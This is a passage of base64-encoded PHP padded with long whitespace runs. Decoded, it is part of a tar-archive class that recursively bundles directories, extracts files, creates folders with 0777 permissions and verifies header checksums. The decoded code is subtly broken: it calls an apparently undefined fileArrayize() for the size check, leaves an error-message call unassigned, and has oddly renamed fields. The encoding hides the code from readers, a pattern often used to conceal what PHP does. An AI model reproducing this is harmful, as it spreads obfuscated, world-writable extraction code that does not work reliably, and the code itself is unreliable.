w0KCSAgICAgCSAgICAgCSAgICAgaWYgKEBpc19kaXIoJGZpbGVuYW1lKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICghKCRoYW5kbGUgPSBvcGVuZGlyKCRmaWxlbmFtZSkpKXsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT5mYWlsdXJlTG9nc1tdID0gX18oJ0Vycm9yJykuJzogJy5fXygnRGlyZWN0b3J5ICcpLiRmaWxlbmFtZS5fXygnaXMgbm90IHJlYWRhYmxlJyk7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGRpciA9IHJlYWRkaXIoJGhhbmRsZSkpKXsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgkZGlyIT0nLicgJiYgJGRpciE9Jy4uJyl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICRmaWxlX2FycmF5X3RtcCA9IGFycmF5KCk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgkZmlsZW5hbWUgIT0gJy4nKQ0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGZpbGVfYXJyYXlfdG1wW10gPSAkZmlsZW5hbWUuJy8nLiRkaXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGVsc2UNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGZpbGVfYXJyYXlfdG1wW10gPSAkZGlyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHJlc3VsdCA9ICR0aGlzLT5jb21wcmVzc0ZpbGVzSW50b0J1bmRsZSgkZmlsZV9hcnJheV90bXApOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHVuc2V0KCRmaWxlX2FycmF5X3RtcCk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHVuc2V0KCRkaXIpOw0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgdW5zZXQoJGhhbmRsZSk7DQoNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICByZXR1cm4gJHJlc3VsdDsNCgkgICAgIH0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGZ1bmN0aW9uIHVuY29tcHJlc3NGaWxlc0ludG9CdW5kbGUoJHBhdGgpeyANCg0KCSAgICAgCSAgICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsNCgkgICAgIAkgICAgIGlmICgkcGF0aCA9PSAnJwkgICAgIHx8IChzdWJzdHIoJHBhdGgsIDAsIDEpICE9ICcvJyAmJiBzdWJzdHIoJHBhdGgsIDAsIDMpICE9ICcuLi8nICYmICFzdHJwb3MoJHBhdGgsICc6JykpKQkgICAgICRwYXRoID0gJy4vJy4kcGF0aDsNCg0KCSAgICAgCSAgICAgY2xlYXJzdGF0Y2FjaGUoKTsNCg0KCSAgICAgCSAgICAgd2hpbGUgKHN0cmxlbigkYmluYXJ5RGF0YSA9ICR0aGlzLT5yZXRyaWV2ZURhdGFCbG9jaygpKSAhPSAwKXsNCg0KCSAgICAgCSAgICAgCSAgICAgaWYgKCEkdGhpcy0+cmV0cmlldmVGaWxlSGVhZGVyKCRiaW5hcnlEYXRhLCAkaGVhZGVyKSkgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICAJICAgICBpZiAoJGhlYWRlclsnZmlsZW5hbWUnXSA9PSAnJykgY29udGludWU7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICdMJyl7CSAgICAgCSAgICAgCSAgICAgLy9yZWFkaW5nIGxvbmcgaGVhZGVyDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRmaWxlbmFtZSA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGRlY3IgPSBmbG9vcigkaGVhZGVyWydzaXplJ10vNTEyKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGRlY3I7ICRpKyspew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGNvbnRlbnQgPSAkdGhpcy0+cmV0cmlldmVEYXRhQmxvY2soKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkZmlsZW5hbWUgLj0gJGNvbnRlbnQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgoJGxhc3BpZWNlID0gJGhlYWRlclsnc2l6ZSddICUgNTEyKSAhPSAwKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGNvbnRlbnQgPSAkdGhpcy0+cmV0cmlldmVEYXRhQmxvY2soKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICRmaWxlbmFtZSAuPSBzdWJzdHIoJGNvbnRlbnQsIDAsICRsYXNwaWVjZSk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRiaW5hcnlEYXRhID0gJHRoaXMtPnJldHJpZXZlRGF0YUJsb2NrKCk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICghJHRoaXMtPnJldHJpZXZlRmlsZUhlYWRlcigkYmluYXJ5RGF0YSwgJGhlYWRlcikpIHJldHVybiBmYWxzZTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZWxzZSAkaGVhZGVyWydmaWxlbmFtZSddID0gJGZpbGVuYW1lOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gdHJ1ZTsNCg0KCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICBpZiAoKCRwYXRoICE9ICcuLycpICYmICgkcGF0aCAhPSAnLycpKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgd2hpbGUgKHN1YnN0cigkcGF0aCwgLTEpID09ICcvJykgJHBhdGggPSBzdWJzdHIoJHBhdGgsIDAsIHN0cmxlbigkcGF0aCktMSk7DQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoc3Vic3RyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICcvJykgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRwYXRoLiRoZWFkZXJbJ2ZpbGVuYW1lJ107DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRwYXRoLicvJy4kaGVhZGVyWydmaWxlbmFtZSddOw0KCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIGlmIChmaWxlX2V4aXN0cygkaGVhZGVyWydmaWxlbmFtZSddKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgoQGlzX2RpcigkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJycpKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPV9fKCdGaWxlICcpLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uX18oJyBhbHJlYWR5IGV4aXN0cycpLl9fKCcgYXMgZm9sZGVyJyk7DQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoJICAgICAJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgoaXNfZmlsZSgkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJzUnKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT5mYWlsdXJlTG9nc1tdID1fXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nLiAnLl9fKCdGaWxlICcpLiRoZWFkZXJbJ2ZpbGVuYW1lJ10uX18oJyBhbHJlYWR5IGV4aXN0cycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIHJldHVybiBmYWxzZTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgfQ0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCFpc193cml0ZWFibGUoJGhlYWRlclsnZmlsZW5hbWUnXSkpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkdGhpcy0+ZmFpbHVyZUxvZ3NbXSA9IF9fKCdDYW5ub3Qgd3JpdGUgdG8gZmlsZScpLicuICcuX18oJ0ZpbGUgJykuJGhlYWRlclsnZmlsZW5hbWUnXS5fXygnIGFscmVhZHkgZXhpc3RzJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoJICAgICAJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIAkgICAgIH0gZWxzZWlmICgoJHRoaXMtPmRpckNoZWNrKCgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1JyA/ICRoZWFkZXJbJ2ZpbGVuYW1lJ10gOiBkaXJuYW1lKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKSkpICE9IDEpew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuX18oJyBmb3IgJykuJGhlYWRlclsnZmlsZW5hbWUnXTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICAJICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICBpZiAoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnNScpew0KDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoIWZpbGVfZXhpc3RzKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKQkgICAgIAkgICAgIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCFta2RpcigkaGVhZGVyWydmaWxlbmFtZSddLCAwNzc3KSkJICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR0aGlzLT5mYWlsdXJlTG9nc1tdID0gX18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJyAnLiRoZWFkZXJbJ2ZpbGVuYW1lJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgfSBlbHNlIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCgkZGVzdGluYXRpb24gPSBmb3BlbigkaGVhZGVyWydmaWxlbmFtZSddLCAnd2InKSkgPT0gMCkgew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkdGhpcy0+ZmFpbHVyZUxvZ3NbXSA9IF9fKCdDYW5ub3Qgd3JpdGUgdG8gZmlsZScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICB9IGVsc2Ugew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkZGVjciA9IGZsb29yKCRoZWFkZXJbJ3NpemUnXS81MTIpOw0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGRlY3I7ICRpKyspIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGNvbnRlbnQgPSAkdGhpcy0+cmV0cmlldmVEYXRhQmxvY2soKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZndyaXRlKCRkZXN0aW5hdGlvbiwgJGNvbnRlbnQsIDUxMik7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCgkaGVhZGVyWydzaXplJ10gJSA1MTIpICE9IDApIHsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGNvbnRlbnQgPSAkdGhpcy0+cmV0cmlldmVEYXRhQmxvY2soKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZndyaXRlKCRkZXN0aW5hdGlvbiwgJGNvbnRlbnQsICgkaGVhZGVyWydzaXplJ10gJSA1MTIpKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZmNsb3NlKCRkZXN0aW5hdGlvbik7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIHRvdWNoKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sICRoZWFkZXJbJ3RpbWUnXSk7DQoJICAgICAJICAgICAJICAgICAJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoZmlsZUFycmF5aXplKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pICE9ICRoZWFkZXJbJ3NpemUnXSkgew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICAkdGhpcy0+ZmFpbHVyZUxvZ3NbXSA9IF9fKCdTaXplIG9mIGZpbGUnKS4nICcuJGhlYWRlclsnZmlsZW5hbWUnXS4nICcuX18oJ2lzIGluY29ycmVjdCcpOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIGlmICgoJGZpbGVfZGlyID0gZGlybmFtZSgkaGVhZGVyWydmaWxlbmFtZSddKSkgPT0gJGhlYWRlclsnZmlsZW5hbWUnXSkgJGZpbGVfZGlyID0gJyc7DQoJICAgICAJICAgICAJICAgICBpZiAoKHN1YnN0cigkaGVhZGVyWydmaWxlbmFtZSddLCAwLCAxKSA9PSAnLycpICYmICgkZmlsZV9kaXIgPT0gJycpKSAkZmlsZV9kaXIgPSAnLyc7DQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5kaXJzW10gPSAkZmlsZV9kaXI7DQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5maWxlQXJyYXlbXSA9ICRoZWFkZXJbJ2ZpbGVuYW1lJ107DQoJICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0NCg0KCSAgICAgZnVuY3Rpb24gZGlyQ2hlY2soJGRpcil7DQoNCgkgICAgIAkgICAgICRwYXJlbnRfZGlyID0gZGlybmFtZSgkZGlyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCgkgICAgIAkgICAgIGlmICgoQGlzX2RpcigkZGlyKSkgb3IgKCRkaXIgPT0gJycpKQ0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIHRydWU7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmICgoJHBhcmVudF9kaXIgIT0gJGRpcikgYW5kICgkcGFyZW50X2RpciAhPSAnJykgYW5kICghJHRoaXMtPmRpckNoZWNrKCRwYXJlbnRfZGlyKSkpDQoNCgkgICAgIAkgICAgIAkgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKCFta2RpcigkZGlyLCAwNzc3KSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuJGRpcjsNCg0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICByZXR1cm4gdHJ1ZTsNCg0KCSAgICAgfQ0KDQoNCg0KCSAgICAgZnVuY3Rpb24gcmV0cmlldmVGaWxlSGVhZGVyKCRiaW5hcnlEYXRhLCAmJGhlYWRlcil7DQoJICAgICAJICAgICBpZiAoc3RybGVuKCRiaW5hcnlEYXRhKT09MCl7DQoJICAgICAJICAgICAJICAgICAkaGVhZGVyWydmaWxlbmFtZSddID0gJyc7DQoJICAgICAJICAgICAJICAgICByZXR1cm4gdHJ1ZTsNCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCgkgICAgIAkgICAgIGlmIChzdHJsZW4oJGJpbmFyeURhdGEpICE9IDUxMil7DQoNCgkgICAgIAkgICAgIAkgICAgICRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAnJzsNCg0KCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPl9fKCdJbnZhbGlkIGJsb2NrIHNpemUnKS4nOiAnLnN0cmxlbigkYmluYXJ5RGF0YSk7DQoJICAgICAJICAgICAJICAgICByZXR1cm4gZmFsc2U7DQoNCgkgICAgIAkgICAgIH0NCg0KDQoNCgkgICAgIAkgICAgICRpbnRlZ3JpdHlIYXNoID0gMDsNCg0KCSAgICAgCSAgICAgZm9yICgkaSA9IDA7ICRpIDwgMTQ4OyAkaSsrKSAkaW50ZWdyaXR5SGFzaCs9b3JkKHN1YnN0cigkYmluYXJ5RGF0YSwgJGksIDEpKTsNCgkgICAgIAkgICAgIGZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKSAkaW50ZWdyaXR5SGFzaCArPSBvcmQoJyAnKTsNCg0KCSAgICAgCSAgICAgZm9yICgkaSA9IDE1NjsgJGkgPCA1MTI7ICRpKyspICRpbnRlZ3JpdHlIYXNoKz1vcmQoc3Vic3RyKCRiaW5hcnlEYXRhLCAkaSwgMSkpOw0KDQoNCg0KCSAgICAgCSAgICAgJHVucGFja19kYXRhID0gdW5wYWNrKCdhMTAwZmlsZW5hbWUvYThtb2RlL2E4YWNjb3VudElkL2E4Z3JvdXBfaWQvYTEyc2l6ZS9hMTJ0aW1lL2E4aW50ZWdyaXR5SGFzaC9hMXR5cGVmbGFnL2ExMDBsaW5rL2E2bWFnaWMvYTJ2ZXJzaW9uL2EzMnVuYW1lL2EzMmduYW1lL2E4ZGV2bWFqb3IvYThkZXZtaW5vcicsICRiaW5hcnlEYXRhKTsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkaGVhZGVyWydpbnRlZ3JpdHlIYXNoJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ2ludGVncml0eUhhc2gnXSkpOw0KCSAgICAgCSAgICAgaWYgKCRoZWFkZXJbJ2ludGVncml0eUhhc2gnXSAhPSAkaW50ZWdyaXR5SGFzaCl7DQoJICAgICAJICAgICAJICAgICAkaGVhZGVyWydmaWxlbmFtZSddID0gJyc7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICgoJGludGVncml0eUhh